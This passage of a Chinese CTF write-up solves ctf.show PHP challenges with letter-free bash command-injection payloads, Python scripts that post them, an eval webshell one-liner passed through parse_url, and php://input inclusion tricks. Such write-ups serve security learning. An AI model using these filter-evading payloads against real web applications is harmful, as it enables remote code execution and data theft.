class=\"wp-block-code\"><code>ctf_show=$0&lt;&lt;&lt;$0\\&lt;\\&lt;\\&lt;\\$\\'\\\\$(($((1&lt;&lt;1))#10001111))\\\\$(($((1&lt;&lt;1))#10001101))\\\\$(($((1&lt;&lt;1))#10100100))\\\\$(($((1&lt;&lt;1))#101000))\\\\$(($((1&lt;&lt;1))#111001))\\\\$(($((1&lt;&lt;1))#10010010))\\\\$(($((1&lt;&lt;1))#10011010))\\\\$(($((1&lt;&lt;1))#10001101))\\\\$(($((1&lt;&lt;1))#10010011))\\'<\/code><\/pre>\n\n\n\n<p>\u5177\u4f53\u539f\u7406\u6211\u4e5f\u6ca1\u600e\u4e48\u61c2\uff0c\u611f\u89c9\u5c31\u662f\u52a0\u4e86\u4e00\u53e5$0\\&lt;\\&lt;\\&lt;\uff0c\u518d\u5206\u4eab\u4e00\u4e2ag4_simon\u5e08\u5085\u7684\u811a\u672c\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\n\n#level3\n\nurl=\"http:\/\/15a309e4-9e6d-4a18-8767-7be0a1efdfa9.challenge.ctf.show\/\"\n\ncmd='cat \/flag'\n\npayload='$0&lt;&lt;&lt;$0\\\\&lt;\\\\&lt;\\\\&lt;\\\\$\\\\\\''\nfor c in cmd:\n        payload+=f'\\\\\\\\$(($((1&lt;&lt;1))#{bin(int(oct(ord(c))&#91;2:]))&#91;2:]}))'\n\npayload+='\\\\\\''\n\nr=requests.post(url,data={\"ctf_show\":payload,})\nprint(r.text)<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u6781\u9650\u547d\u4ee4\u6267\u884c4<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code> &lt;?php\n\/\/\u672c\u9898\u7075\u611f\u6765\u81ea\u7814\u7a76\u4e00\u76f4\u6ca1\u505a\u51fa\u6765\u7684\u67d0\u8d5b\u67d0\u9898\u65f6\u60f3\u5230\u7684\u59ff\u52bf\uff0c\u592a\u68d2\u5566~\u3002\n\/\/flag\u5728\u6839\u76ee\u5f55flag\u91cc\n\nerror_reporting(0);\nhighlight_file(__FILE__);\ninclude \"check.php\";\n\nif (isset($_POST&#91;'ctf_show'])) {\n    $ctfshow = $_POST&#91;'ctf_show'];\n    check($ctfshow);\n    system($ctfshow);\n}\n?&gt; <\/code><\/pre>\n\n\n\n<p>\u8fd9\u4e2a\u9898\u591a\u8fc7\u6ee4\u4e861\uff0c\u4f46\u8fd9\u4e5f\u633a\u597d\u89e3\u51b3\u7684\uff0c\u6211\u90a3\u7bc7\u65e0\u5b57\u6bcd\u6570\u5b57rce\u9ed1\u9b54\u6cd5\u4e5f\u63d0\u5230\u8fc7\u4e00\u4e2a\u795e\u5947\u7684\u811a\u672c\u53d8\u91cf\uff0c\u90a3\u5c31\u662f$#\uff0c\u4ed6\u8868\u793a#\u540e\u7684\u5b57\u7b26\u6570\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-38.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"469\" height=\"144\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-38.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1068\"  sizes=\"auto, (max-width: 469px) 100vw, 469px\" \/><\/div><\/figure>\n\n\n\n<p>\u6240\u4ee5\u7528${##}\u4ee3\u66ff\u4e0a\u6587\u4e2d\u76841\u5373\u53ef\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ctf_show=$0&lt;&lt;&lt;$0\\&lt;\\&lt;\\&lt;\\$\\'\\\\$(($((${##}&lt;&lt;${##}))#${##}000${##}${##}${##}${##}))\\\\$(($((${##}&lt;&lt;${##}))#${##}000${##}${##}0${##}))\\\\$(($((${##}&lt;&lt;${##}))#${##}0${##}00${##}00))\\\\$(($((${##}&lt;&lt;${##}))#${##}0${##}000))\\\\$(($((${##}&lt;&lt;${##}))#${##}${##}${##}00${##}))\\\\$(($((${##}&lt;&lt;${##}))#${##}00${##}00${##}0))\\\\$(($((${##}&lt;&lt;${##}))#${##}00${##}${##}0${##}0))\\\\$(($((${##}&lt;&lt;${##}))#${##}000${##}${##}0${##}))\\\\$(($((${##}&lt;&lt;${##}))#${##}00${##}00${##}${##}))\\'<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u6781\u9650\u547d\u4ee4\u6267\u884c5<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code> &lt;?php\n\/\/\u672c\u9898\u7075\u611f\u6765\u81ea\u7814\u7a76\u4e00\u76f4\u6ca1\u505a\u51fa\u6765\u7684\u67d0\u8d5b\u67d0\u9898\u65f6\u60f3\u5230\u7684\u59ff\u52bf\uff0c\u592a\u68d2\u5566~\u3002\n\/\/flag\u5728\u6839\u76ee\u5f55flag\u91cc\n\nerror_reporting(0);\nhighlight_file(__FILE__);\ninclude \"check.php\";\n\nif (isset($_POST&#91;'ctf_show'])) {\n    $ctfshow = $_POST&#91;'ctf_show'];\n    check($ctfshow);\n    system($ctfshow);\n}\n?&gt; <\/code><\/pre>\n\n\n\n<p>\u505a\u5230\u8fd9\u91cc\u7684\u65f6\u5019\u7ecf\u8fc7\u7814\u7a76\u6211\u5199\u4e86<a href=\"https:\/\/xz.aliyun.com\/t\/12242\">\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4<\/a>\uff0c\u63d0\u51fa\u4e86\u51e0\u79cd\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4\u6784\u9020\u65b9\u6cd5\u4ee5\u53ca\u811a\u672c\uff0c\u4f46\u62bd\u8c61\u7684\u662f\u6211\u8bd5\u4e86\u4e4b\u540e\u53d1\u73b0\u8fd9\u4e9bpayload\u8fd9\u91cc\u6ca1\u6cd5\u6253\uff0c\u4e3a\u4ec0\u4e48\u5462\uff0c\u6211\u4eec\u770b\u5230\u51fa\u9898\u4eba\u7684\u63cf\u8ff0\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-22.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"938\" height=\"339\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-22.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1275\"  sizes=\"auto, (max-width: 938px) 100vw, 938px\" \/><\/div><\/figure>\n\n\n\n<p>\u6ca1\u9519\uff0cg4\u5e08\u5085\u51fa\u9898\u7684\u65f6\u5019\u53d1\u73b0${!?}\u6216\u8005${!#}\u5728php\u91cc\u6ca1\u6cd5\u6784\u9020bash\u6240\u4ee5\u653e\u5f03\u4e86\u6784\u9020\uff0c\u6700\u540e\u628a\u8fd9\u4e24\u4e2a\u90fdban\u4e86\u3002\u3002\u3002<\/p>\n\n\n\n<p>\u6240\u4ee5\u8ba9\u6211\u4eec\u6765\u5b66\u4e60\u5b98\u65b9\u89e3\u5427\uff0c\u7528\u53d6\u53cd\u505a\u7684\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-23-1024x472.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"472\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-23-1024x472.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1276\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>ctf_show=__=$(())%26%26${!__}&lt;&lt;&lt;${!__}\\&lt;\\&lt;\\&lt;\\$\\'\\\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$(())\\\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\'<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>#level5\nimport requests\nurl=\"http:\/\/15a309e4-9e6d-4a18-8767-7be0a1efdfa9.challenge.ctf.show\/\"\ncmd='cat \/flag'\n\nr = {}\n\nx='$((~$(())))'#-1\n\nfor i in range(1,9):\n        r&#91;i]='$((~$(('+x\n        for j in range(i):\n                r&#91;i]+=x\n        r&#91;i]+='))))'\n\nr&#91;0]='$(())'\n\npayload='__=$(())&amp;&amp;${!__}&lt;&lt;&lt;${!__}\\\\&lt;\\\\&lt;\\\\&lt;\\\\$\\\\\\''\nfor c in cmd:\n        payload+='\\\\\\\\'\n        for i in oct(ord(c))&#91;2:]:\n                payload+=r&#91;int(i)]\n\npayload+='\\\\\\''\n\n\nr=requests.post(url,data={\"ctf_show\":payload,})\nprint(r.text)<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">PARSE_URL<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">\u7b2c\u4e00\u5173<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n\n$data = parse_url($_GET&#91;'u']);\n\neval($data&#91;'host']);<\/code><\/pre>\n\n\n\n<p>\u53d6\u7684\u662f$data[&#8216;host&#8217;]\uff0c\u4e5f\u5c31\u662f\u57df\u540d\uff0c\u5176\u5b9e\u4f60\u4e5f\u53ef\u4ee5\u76f4\u63a5var_dump($data);\u770b\u770b\u90fd\u662f\u4ec0\u4e48\u53c2\u6570\u4ee3\u8868\u4ec0\u4e48\u610f\u601d\uff0c\u5148\u5728\u672c\u5730\u642d\u4e2a\u73af\u5883\uff0c\u8c03\u8bd5\u597d\u81ea\u5df1\u7684payload\uff0c\u6700\u540e\u6211\u7684payload:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?u=http:\/\/@eval($_POST&#91;1]);\nPOST:1=system(\"cat \/*f*\");<\/code><\/pre>\n\n\n\n<p>\u8fd9\u6837\u53d6\u7684\u57df\u540d\u5c31\u662f@eval($_POST[1]);\uff0c\u76f4\u63a5\u5199\u5165\u6e90\u7801\u91cc\u76f8\u5f53\u4e8e\u4e00\u53e5\u8bdd\u6728\u9a6c\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-7.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"998\" height=\"763\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-7.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1743\"  sizes=\"auto, (max-width: 998px) 100vw, 998px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u7b2c\u4e8c\u5173<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code> &lt;?php\n\n$data = parse_url($_GET&#91;'u']);\n\ninclude $data&#91;'host'].$data&#91;'path']; <\/code><\/pre>\n\n\n\n<p>\u8fd9\u91ccinclude\u5305\u542b\u4e86$data[&#8216;host&#8217;].$data[&#8216;path&#8217;]\uff0c\u4e5f\u5c31\u662f\u57df\u540d\u52a0\u8def\u5f84\uff0c\u6211\u6bd4\u8d5b\u7684\u65f6\u5019\u60f3\u5305\u542b\u65e5\u5fd7\u4e00\u76f4\u6ca1\u5305\u542b\u6210\u529f\uff0c\u7136\u540e\u7528\u7b2c\u4e00\u9898\u53bb\u770b\u4e86\u4e0b\u53d1\u73b0\u65e5\u5fd7\u6ca1\u542f\u7528\uff0c\u6240\u4ee5\u8fd9\u91cc\u6211\u4eec\u53ef\u4ee5\u5305\u542b\u4f2a\u534f\u8bae\uff0c\u6bd4\u5982include php:\/\/input\uff0c\u8fd9\u6837\u5c31\u4f1a\u628a\u6211\u4eecpost\u7684\u6570\u636e\u76f4\u63a5\u5199\u5165\u6e90\u7801\u91cc\uff0c\u7136\u540epost\u4e00\u4e2a&lt;?php system(&#8220;cat \/*f*&#8221;);\u5373\u53ef\u62ff\u5230flag\u3002<\/p>\n\n\n\n<p>\u6211\u5c1d\u8bd5\u7684\u65f6\u5019\u53d1\u73b0\uff0c\u9996\u5148\uff0c\u56e0\u4e3a.$data[&#8216;path&#8217;];\uff0c\u800c\u8def\u5f84\u91cc\u80af\u5b9a\u662f\u6709\/\u7684\uff0c\u6240\u4ee5\u60f3\u8981\u6784\u9020php:\/\/input\u4f20\u5165\u7684url\u80af\u5b9a\u662furl\/\/input\u8fd9\u79cd\u5f62\u5f0f\uff0c\u7136\u540e\u5c31\u662f\u8fd9\u4e2a:\uff0c\u56e0\u4e3a\u4e00\u4e2a:\u4f1a\u88ab\u8bc6\u522b\u6210\u7aef\u53e3\u53f7\uff0c\u4f60\u7528\u4e24\u4e2a:\u6bd4\u5982http:\/\/php::\u5f97\u5230\u7684$data[&#8216;host&#8217;]\u5c31\u662fphp:\uff0c\u6240\u4ee5\u4e24\u76f8\u7ed3\u5408\u5373\u53ef\uff0c\u6700\u540epayload:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/?u=http:\/\/php::\/\/input\nPOST:&lt;?php system(\"cat \/*f*\");<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-8-1024x493.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"493\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-8-1024x493.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1744\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u7b2c\u4e09\u5173<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n$data = parse_url($_GET&#91;'u']);\n\ninclude $data&#91;'scheme'].$data&#91;'path'];\n<\/code><\/pre>\n\n\n\n<p>$data[&#8216;scheme&#8217;]\u662f\u534f\u8bae\u7684\u610f\u601d\uff0c\u4e5f\u5c31\u662f\u6bd4\u5982http:\/\/\uff0c\u6240\u4ee5\u8fd9\u6b21\u5c31\u662f\u5305\u542b\u534f\u8bae+\u8def\u5f84\uff0c\u601d\u8def\u8fd8\u662f\u548c\u4e0a\u6b21\u4e00\u6837\u6784\u9020php:\/\/input\uff0c\u628a\u534f\u8bae\u6362\u6210php::\/\/\u5c31\u884c\u4e86\uff0c\u53d6\u7684\u5c31\u662fphp:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/?u=php::\/\/input\nPOST &lt;?php system(\"cat \/*f*\");<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-9-1024x471.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"471\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-9-1024x471.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1745\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u7b2c\u56db\u5173<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n\n$data = parse_url($_GET&#91;'u']);\n\nsystem($data&#91;'host']);<\/code><\/pre>\n\n\n\n<p>\u6700\u7b80\u5355\u7684\u4e00\u96c6\uff0c\u76f4\u63a5\u6267\u884c\u57df\u540d\u7684\u503c\uff0c\u57df\u540d\u91cc\u4e0d\u80fd\u6709\/\uff0c\u800cflag\u5728\u6839\u76ee\u5f55\uff0c\u600e\u4e48\u529e\u5462\uff0c\u6211\u4e4b\u524d\u5199\u8fc7\u4e00\u4e2a<a href=\"https:\/\/fushuling.com\/index.phphttps:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/14\/ctf%e9%87%8c%e8%af%bb%e5%8f%96%e6%96%87%e4%bb%b6%e7%9b%b8%e5%85%b3%e7%9f%a5%e8%af%86%e7%82%b9%e6%80%bb%e7%bb%93\/\">CTF\u91cc\u8bfb\u53d6\u6587\u4ef6\u76f8\u5173\u77e5\u8bc6\u70b9\u603b\u7ed3<\/a>\uff0c\u91cc\u9762\u63d0\u5230\u8fc7\u7528${PATH:0:1}\u4ee3\u66ff\/\u7684\u539f\u7406\u4ee5\u53ca\u53d8\u79cd\uff0c\u6240\u4ee5\u76f4\u63a5\u6267\u884c\u5373\u53ef\uff0cpayload:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?u=https:\/\/cat ${PATH:0:1}*f*:<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-10-1024x651.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"651\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-10-1024x651.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1746\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u81f3\u4e8e\u4e3a\u4ec0\u4e48\u6700\u540e\u6709\u4e00\u4e2a:\uff0c\u8fd8\u662f\u548c\u4e4b\u524d\u4e00\u6837\uff0curl\u53d6\u503c\u7684\u8bdd\u4f1a\u628a\u6700\u540e\u4e00\u4e2a:\u540e\u9762\u7684\u503c\u5f53\u7aef\u53e3\u53f7\uff0c\u6240\u4ee5\u6211\u4eec\u591a\u52a0\u4e00\u4e2a:\u653e\u5728\u6700\u540e\u5c31\u53ef\u4ee5\u63a7\u5236\u524d\u9762\u7684\u503c\u4e86<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u7b2c\u4e94\u5173<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code> &lt;?php\nextract(parse_url($_GET&#91;'u']));\ninclude $$$$$$host;\n<\/code><\/pre>\n\n\n\n<p>extract() \u51fd\u6570\u4f1a\u628a\u6570\u7ec4\u4e2d\u628a\u53d8\u91cf\u5bfc\u5165\u5230\u5f53\u524d\u7684\u7b26\u53f7\u8868\u4e2d\uff0c\u6bd4\u5982<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php $a = 'Original';\n$my_array = array(\"a\" =&gt; \"Cat\",\"b\" =&gt; \"Dog\", \"c\" =&gt; \"Horse\");\nextract($my_array);\necho \"\\$a = $a;\n\\$b = $b;\n\\$c = $c\";\n?&gt;<\/code><\/pre>\n\n\n\n<p>\u8f93\u51fa<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$a = Cat;\n$b = Dog;\n$c = Horse<\/code><\/pre>\n\n\n\n<p>\u7ecf\u8fc7parse_url($_GET[&#8216;u&#8217;])\u5904\u7406\u4e4b\u540e\u6211\u4eecurl\u7684\u5404\u4e2a\u53c2\u6570\u5176\u5b9e\u672c\u6765\u4e5f\u5c31\u53d8\u5f97\u50cf\u6570\u7ec4\u4e00\u6837\uff0c\u6240\u4ee5\u6211\u4eec\u73b0\u5728\u53ea\u9700\u8981\u63a7\u5236\u5404\u4e2a\u53c2\u6570\u7684\u503c\u4f7f\u6700\u540e\u89e3\u6790\u51fa\u6765\u7684$$$$$$host\u4e3aphp:\/\/input\uff0c\u505a\u8fd9\u4e2a\u9898\u7684\u65f6\u5019\u6211\u672c\u5730\u8c03\u8bd5\u4e86\u86ee\u4e45\u7684\uff0c\u6211\u7684\u6d4b\u8bd5\u4ee3\u7801\u662f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nhighlight_file(__FILE__);\n\n$url_array = parse_url($_GET&#91;'u']);#\u4f20\u5165?u=query:\/\/pass:scheme@user\/?fragment%23php:\/\/input\nvar_dump($url_array);\nextract($url_array);\n\n\necho \"&lt;br&gt;\";\n\necho \"\\$host:\".$host;\necho \"&lt;br&gt;\";\necho \"\\$\\$host:\".$$host;\necho \"&lt;br&gt;\";\necho \"\\$\\$\\$host:\".$$$host;\necho \"&lt;br&gt;\";\necho \"\\$\\$\\$\\$host:\".$$$$host;\necho \"&lt;br&gt;\";\necho \"\\$\\$\\$\\$\\$host:\".$$$$$host;\necho \"&lt;br&gt;\";\necho \"\\$\\$\\$\\$\\$\\$host:\".$$$$$$host;\n\/\/ include $$$$$$host;\n\/*\u8f93\u51fa\uff1a\narray(7) { &#91;\"scheme\"]=&gt; string(5) \"query\" &#91;\"host\"]=&gt; string(4) \"user\" &#91;\"user\"]=&gt; string(4) \"pass\" &#91;\"pass\"]=&gt; string(6) \"scheme\" &#91;\"path\"]=&gt; string(1) \"\/\" &#91;\"query\"]=&gt; string(8) \"fragment\" &#91;\"fragment\"]=&gt; string(11) \"php:\/\/input\" }\n$host:user\n$$host:pass\n$$$host:scheme\n$$$$host:query\n$$$$$host:fragment\n$$$$$$host:php:\/\/input *\/<\/code><\/pre>\n\n\n\n<p>\u6240\u4ee5\u7528\u4e0d\u540c\u53c2\u6570\u540d\u6162\u6162\u6784\u9020\u5c31\u884c\u4e86\uff0c\u56e0\u4e3afragment\u662f\u6700\u53ef\u63a7\u7684\uff0c\u5b8c\u5168\u6ca1\u6709\u5565\u9650\u5236\uff0c\u6240\u4ee5\u6211\u6700\u540e\u5c31\u8ba9[&#8220;query&#8221;]=&gt; string(8) &#8220;fragment&#8221;\uff0c\u8fd9\u6837$$query\u5c31\u4f1a\u89e3\u6790\u51fa\u6765$fragment\u7684\u503c\uff0c\u524d\u9762\u51e0\u4e2a\u53c2\u6570\u7684\u4f5c\u7528\u4e5f\u5c31\u662f\u4e92\u76f8\u8df3\u8f6c\u4e92\u76f8\u89e3\u6790\u76f4\u5230\u6700\u540e\u8df3\u8f6c\u5230fragment\uff0c\u6700\u540epayload\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/?u=query:\/\/pass:scheme@user\/?fragment%23php:\/\/input\nPOST: &lt;?php system(\"cat \/*f*\");?&gt;<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-11-1024x424.png'><img class=\"lazyload lazyload-style-1\" 